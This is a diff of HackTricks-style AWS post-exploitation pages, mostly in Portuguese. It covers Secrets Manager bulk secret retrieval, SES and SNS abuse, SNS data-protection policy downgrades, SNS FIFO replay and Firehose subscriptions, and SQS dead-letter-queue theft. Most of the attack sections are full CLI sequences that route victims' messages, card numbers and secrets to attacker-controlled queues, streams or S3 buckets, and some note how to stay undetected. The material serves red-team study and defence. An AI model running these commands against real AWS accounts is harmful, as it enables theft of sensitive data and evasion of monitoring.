--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate por filtros (tag key/value ou prefixo de nome)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Lidando com falhas parciais
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impacto
|
||||
- Rápido “smash-and-grab” de muitos secrets com menos chamadas de API, potencialmente contornando alertas ajustados para picos de GetSecretValue.
|
||||
- Os registros do CloudTrail ainda incluem um evento GetSecretValue por cada secret recuperado pelo lote.
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - SES Pós Exploração
|
||||
# AWS - SES Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SES
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
../../aws-services/aws-ses-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ses:SendEmail`
|
||||
@@ -17,7 +17,7 @@ Enviar um e-mail.
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
```
|
||||
Ainda a testar.
|
||||
Ainda por testar.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
@@ -25,45 +25,45 @@ Enviar um e-mail.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
Ainda a ser testado.
|
||||
Ainda por testar.
|
||||
|
||||
### `ses:SendTemplatedEmail`
|
||||
|
||||
Envie um email com base em um modelo.
|
||||
Enviar um email com base num modelo.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
Ainda a testar.
|
||||
Ainda por testar.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Envie um e-mail para vários destinos
|
||||
Enviar um e-mail para múltiplos destinatários
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
Ainda a ser testado.
|
||||
Ainda por testar.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
Envie um e-mail para vários destinos.
|
||||
Enviar um e-mail para múltiplos destinatários.
|
||||
```
|
||||
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
### `ses:SendBounce`
|
||||
|
||||
Envie um **email de retorno** sobre um email recebido (indicando que o email não pôde ser recebido). Isso só pode ser feito **até 24h após o recebimento** do email.
|
||||
Enviar um **bounce email** sobre um email recebido (indicando que o email não pôde ser recebido). Isto só pode ser feito **até 24h após o recebimento** do email.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
Ainda a ser testado.
|
||||
Ainda por testar.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
Isso enviará um e-mail de verificação personalizado. Você pode precisar de permissões também para criar o e-mail de modelo.
|
||||
Isto irá enviar um email de verificação personalizado. Também poderá precisar de permissões para criar o modelo de email.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
Ainda a testar.
|
||||
Ainda por testar.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,30 +1,30 @@
|
||||
# AWS - SNS Pós Exploração
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Para mais informações:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Interromper Mensagens
|
||||
|
||||
Em vários casos, os tópicos SNS são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer indetectado.
|
||||
Em vários casos, SNS topics são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer sem ser detectado.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
Um atacante poderia deletar um tópico SNS inteiro, causando perda de mensagens e impactando aplicações que dependem do tópico.
|
||||
Um atacante poderia excluir um tópico SNS inteiro, causando perda de mensagens e impactando aplicações que dependem do tópico.
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que utilizam o tópico excluído.
|
||||
**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que usam o tópico excluído.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Um atacante poderia enviar mensagens maliciosas ou indesejadas para o tópico SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
|
||||
Um atacante poderia enviar mensagens maliciosas ou indesejadas para o tópico do SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
@@ -36,33 +36,47 @@ Um atacante poderia modificar os atributos de um tópico SNS, potencialmente afe
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Impacto Potencial**: Erros de configuração que levam a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
|
||||
**Impacto Potencial**: Configurações incorretas que podem levar a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
|
||||
|
||||
### `sns:Subscribe`, `sns:Unsubscribe`
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
|
||||
Um atacante poderia se inscrever ou cancelar a inscrição em um tópico SNS, potencialmente ganhando acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicativos que dependem do tópico.
|
||||
Um atacante poderia se inscrever ou cancelar a inscrição em um tópico SNS, potencialmente obtendo acesso não autorizado às mensagens ou interrompendo o funcionamento normal de aplicações que dependem do tópico.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Impacto Potencial**: Acesso não autorizado a mensagens, interrupção do serviço para aplicações que dependem do tópico afetado.
|
||||
**Impacto Potencial**: Acesso não autorizado a mensagens, interrupção de serviço para aplicações que dependem do tópico afetado.
|
||||
|
||||
### `sns:AddPermission`, `sns:RemovePermission`
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, ou revogar permissões para usuários legítimos, causando interrupções no funcionamento normal de aplicações que dependem do tópico.
|
||||
```css
|
||||
Um atacante poderia conceder a usuários ou serviços não autorizados acesso a um tópico SNS, ou revogar permissões de usuários legítimos, causando interrupções no funcionamento normal das aplicações que dependem do tópico.
|
||||
```bash
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Impacto Potencial**: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal para aplicativos que dependem do tópico.
|
||||
**Impacto Potencial**: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal de aplicações que dependem do tópico.
|
||||
|
||||
### `sns:TagResource`, `sns:UntagResource`
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
Um atacante poderia adicionar, modificar ou remover tags de recursos SNS, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
|
||||
Um atacante poderia adicionar, modificar ou remover tags de recursos do SNS, prejudicando a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
### Mais técnicas de SNS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-data-protection-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-fifo-replay-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-firehose-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - SNS Message Data Protection Bypass via Policy Downgrade
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Se você tiver `sns:PutDataProtectionPolicy` em um tópico, você pode mudar sua política Message Data Protection de Deidentify/Deny para Audit-only (ou remover controles Outbound) para que valores sensíveis (por exemplo, números de cartão de crédito) sejam entregues não modificados para sua subscription.
|
||||
|
||||
## Requisitos
|
||||
- Permissões no tópico alvo para chamar `sns:PutDataProtectionPolicy` (e geralmente `sns:Subscribe` se você quiser receber os dados).
|
||||
- Tópico SNS padrão (Message Data Protection suportado).
|
||||
|
||||
## Etapas do ataque
|
||||
|
||||
- Variáveis
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
```
|
||||
|
||||
1) Crie um tópico padrão e uma fila SQS do atacante, e permita que apenas este tópico envie para a fila
|
||||
|
||||
```bash
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
|
||||
```
|
||||
|
||||
2) Anexe uma política de proteção de dados que mascara números de cartão de crédito nas mensagens Outbound
|
||||
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-policy.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "MaskCCOutbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Outbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
|
||||
```
|
||||
|
||||
3) Subscreva a fila do atacante e publique uma mensagem com um número de cartão de teste, verifique a máscara
|
||||
|
||||
```bash
|
||||
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
|
||||
Trecho esperado mostra a máscara (hashes):
|
||||
```json
|
||||
"Message" : "payment:{cc:################}"
|
||||
```
|
||||
4) Rebaixar a policy para Audit-only (sem declarações de deidentify/deny afetando Outbound)
|
||||
|
||||
Para SNS, declarações Audit devem ser Inbound. Substituir a policy por uma declaração Audit-only Inbound remove qualquer de-identificação Outbound, então as mensagens fluem sem modificações para os assinantes.
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "AuditInbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Inbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
|
||||
```
|
||||
|
||||
5) Publique a mesma mensagem e verifique que o valor não mascarado é entregue
|
||||
```bash
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
Trecho esperado mostra o CC em texto claro:
|
||||
```text
|
||||
4539894458086459
|
||||
```
|
||||
## Impacto
|
||||
- Alterar um tópico de de-identification/deny para audit-only (ou, de outra forma, remover controles Outbound) permite que PII/secrets passem sem modificação para subscriptions controladas pelo atacante, possibilitando exfiltração de dados que, de outra forma, seriam mascarados ou bloqueados.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,100 @@
|
||||
# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuso do arquivamento de mensagens de um tópico Amazon SNS FIFO para reproduzir e exfiltrar mensagens publicadas anteriormente para uma fila SQS FIFO controlada pelo atacante, configurando o ReplayPolicy da assinatura.
|
||||
|
||||
- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
|
||||
- Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages.
|
||||
- Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope.
|
||||
|
||||
## Pré-requisitos
|
||||
- SNS FIFO topic with archiving enabled: `ArchivePolicy` (e.g., `{ "MessageRetentionPeriod": "2" }` for 2 days).
|
||||
- Atacante tem permissões para:
|
||||
- `sns:Subscribe` on the target topic.
|
||||
- `sns:SetSubscriptionAttributes` on the created subscription.
|
||||
- Atacante possui uma fila SQS FIFO e pode anexar uma política de fila permitindo `sns:SendMessage` from the topic ARN.
|
||||
|
||||
## Permissões IAM mínimas
|
||||
- On topic: `sns:Subscribe`.
|
||||
- On subscription: `sns:SetSubscriptionAttributes`.
|
||||
- On queue: `sqs:SetQueueAttributes` for policy, and queue policy permitting `sns:SendMessage` from the topic ARN.
|
||||
|
||||
## Attack: Replay archived messages to attacker SQS FIFO
|
||||
O atacante subscreve sua fila SQS FIFO ao tópico SNS FIFO da vítima e, em seguida, define o `ReplayPolicy` para um timestamp no passado (dentro da janela de retenção do arquivo). O SNS imediatamente reexecuta as mensagens arquivadas correspondentes para a nova assinatura e as marca com `Replayed=true`.
|
||||
|
||||
Notes:
|
||||
- The timestamp used in `ReplayPolicy` must be >= the topic's `BeginningArchiveTime`. If it's earlier, the API returns `Invalid StartingPoint value`.
|
||||
- For SNS FIFO `Publish`, you must specify a `MessageGroupId` (and either dedup ID or enable `ContentBasedDeduplication`).
|
||||
|
||||
<details>
|
||||
<summary>POC CLI de ponta a ponta (us-east-1)</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
|
||||
TS_START=$(python3 - << 'PY'
|
||||
from datetime import datetime, timezone, timedelta
|
||||
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
|
||||
PY
|
||||
)
|
||||
|
||||
# 1) Create SNS FIFO topic with archiving (2-day retention)
|
||||
TOPIC_NAME=htreplay$(date +%s).fifo
|
||||
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
|
||||
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
|
||||
--query TopicArn --output text)
|
||||
|
||||
echo "Topic: $TOPIC_ARN"
|
||||
|
||||
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
|
||||
for i in $(seq 1 3); do
|
||||
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
|
||||
--message-group-id g1 >/dev/null
|
||||
done
|
||||
|
||||
# 3) Create attacker SQS FIFO queue and allow only this topic to send
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
|
||||
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
|
||||
--attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
cat > /tmp/ht-replay-sqs-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
# Use CLI input JSON to avoid quoting issues
|
||||
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
|
||||
import json, os
|
||||
print(json.dumps({
|
||||
'QueueUrl': os.environ['Q_URL'],
|
||||
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
|
||||
}))
|
||||
PY
|
||||
)"
|
||||
|
||||
# 4) Subscribe the queue to the topic
|
||||
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
|
||||
echo "Subscription: $SUB_ARN"
|
||||
|
||||
# 5) Ensure StartingPoint is >= BeginningArchiveTime
|
||||
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
|
||||
START=${TS_START}
|
||||
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
|
||||
|
||||
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
|
||||
--attribute-name ReplayPolicy \
|
||||
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
|
||||
|
||||
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 10 \
|
||||
--message-attribute-names All --attribute-names All
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impacto
|
||||
**Impacto Potencial**: Um atacante que conseguir inscrever-se em um tópico SNS FIFO com arquivamento ativado e definir `ReplayPolicy` na sua assinatura pode imediatamente reproduzir e exfiltrar mensagens históricas publicadas nesse tópico, não apenas mensagens enviadas depois que a assinatura foi criada. As mensagens entregues incluem uma flag `Replayed=true` no envelope do SNS.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,76 @@
|
||||
# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse o protocolo de assinatura do Firehose para registrar um Kinesis Data Firehose delivery stream controlado pelo atacante em um tópico SNS standard da vítima. Uma vez que a assinatura esteja configurada e a IAM role exigida confie em `sns.amazonaws.com`, cada notificação futura será gravada de forma durável no S3 bucket do atacante com ruído mínimo.
|
||||
|
||||
## Requisitos
|
||||
- Permissões na conta do atacante para criar um S3 bucket, um Firehose delivery stream e a IAM role usada pelo Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
|
||||
- A capacidade de `sns:Subscribe` ao tópico da vítima (e opcionalmente `sns:SetSubscriptionAttributes` se o subscription role ARN for fornecido após a criação).
|
||||
- Uma topic policy que permita ao principal atacante se inscrever (ou o atacante já opera dentro da mesma conta).
|
||||
|
||||
## Passos do Ataque (exemplo na mesma conta)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SUFFIX=$(date +%s)
|
||||
|
||||
# 1) Create attacker S3 bucket and Firehose delivery stream
|
||||
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
|
||||
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
|
||||
|
||||
STREAM_NAME=ht-firehose-stream-$SUFFIX
|
||||
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
|
||||
|
||||
# Role Firehose assumes to write into the bucket
|
||||
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/firehose-s3-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
|
||||
|
||||
aws firehose create-delivery-stream \
|
||||
--delivery-stream-name "$STREAM_NAME" \
|
||||
--delivery-stream-type DirectPut \
|
||||
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
|
||||
--region $REGION >/dev/null
|
||||
|
||||
# 2) IAM role SNS assumes when delivering into Firehose
|
||||
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
|
||||
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/allow-firehose.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
|
||||
|
||||
SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
|
||||
|
||||
# 3) Subscribe Firehose to the victim topic
|
||||
TOPIC_ARN=<VICTIM_TOPIC_ARN>
|
||||
aws sns subscribe \
|
||||
--topic-arn "$TOPIC_ARN" \
|
||||
--protocol firehose \
|
||||
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
|
||||
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
|
||||
--region $REGION
|
||||
|
||||
# 4) Publish test message and confirm arrival in S3
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
|
||||
sleep 90
|
||||
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
|
||||
```
|
||||
## Limpeza
|
||||
- Exclua a SNS subscription, o Firehose delivery stream, as temporary IAM roles/policies e o attacker S3 bucket.
|
||||
|
||||
## Impacto
|
||||
**Impacto Potencial**: Exfiltração contínua e durável de cada mensagem publicada no SNS topic alvo para armazenamento controlado pelo attacker com pegada operacional mínima.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,150 @@
|
||||
# AWS – Exfiltração do DLQ do SQS via StartMessageMoveTask
|
||||
|
||||
## Descrição
|
||||
|
||||
Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) da vítima, redirecionando-as para uma fila controlada pelo atacante usando `sqs:StartMessageMoveTask`. Esta técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo.
|
||||
|
||||
## O que é um Dead-Letter Queue (DLQ)?
|
||||
|
||||
Uma Dead-Letter Queue é uma fila especial do SQS onde mensagens são enviadas automaticamente quando não conseguem ser processadas com sucesso pela aplicação principal. Essas mensagens com falha frequentemente contêm:
|
||||
- Dados sensíveis da aplicação que não puderam ser processados
|
||||
- Detalhes de erro e informações de depuração
|
||||
- Informações Pessoais Identificáveis (PII)
|
||||
- Tokens de API, credenciais ou outros segredos
|
||||
- Dados de transações críticos para o negócio
|
||||
|
||||
DLQs atuam como um "cemitério" para mensagens com falha, tornando-as alvos valiosos, pois acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar adequadamente.
|
||||
|
||||
## Cenário de Ataque
|
||||
|
||||
**Exemplo do mundo real:**
|
||||
1. **Aplicação de e-commerce** processa pedidos de clientes através do SQS
|
||||
2. **Alguns pedidos falham** (problemas de pagamento, estoque, etc.) e são movidos para uma DLQ
|
||||
3. **DLQ acumula** semanas/meses de pedidos com falha contendo dados de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Atacante obtém acesso** às credenciais AWS com permissões SQS
|
||||
5. **Atacante descobre** que a DLQ contém milhares de pedidos com falha com dados sensíveis
|
||||
6. **Em vez de tentar acessar mensagens individuais** (lento e óbvio), o atacante usa `StartMessageMoveTask` para transferir em massa TODAS as mensagens para sua própria fila
|
||||
7. **Atacante extrai** todos os dados sensíveis históricos em uma única operação
|
||||
|
||||
## Requisitos
|
||||
- A fila de origem deve estar configurada como DLQ (referenciada por pelo menos uma RedrivePolicy de fila).
|
||||
- Permissões IAM (executando como o principal da vítima comprometida):
|
||||
- Na DLQ (origem): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na fila de destino: permissão para entregar mensagens (por exemplo, política da fila permitindo `sqs:SendMessage` do principal da vítima). Para destinos na mesma conta isso normalmente é permitido por padrão.
|
||||
- Se SSE-KMS estiver habilitado: na CMK de origem `kms:Decrypt`, e na CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impacto
|
||||
Exfiltrar cargas úteis sensíveis acumuladas em DLQs (eventos com falha, PII, tokens, payloads de aplicações) em alta velocidade usando APIs nativas do SQS. Funciona entre contas se a política da fila de destino permitir `SendMessage` do principal da vítima.
|
||||
|
||||
## Como Abusar
|
||||
|
||||
- Identificar o ARN da DLQ da vítima e garantir que ela esteja realmente referenciada como DLQ por alguma fila (qualquer fila serve).
|
||||
- Criar ou escolher uma fila de destino controlada pelo atacante e obter seu ARN.
|
||||
- Iniciar uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino.
|
||||
- Monitorar o progresso ou cancelar se necessário.
|
||||
|
||||
### Exemplo CLI: Exfiltrando Dados de Clientes da DLQ de E-commerce
|
||||
|
||||
**Cenário**: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ que contém tentativas de processamento de pedidos de clientes com falha.
|
||||
|
||||
1) **Descobrir e examinar a DLQ da vítima**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
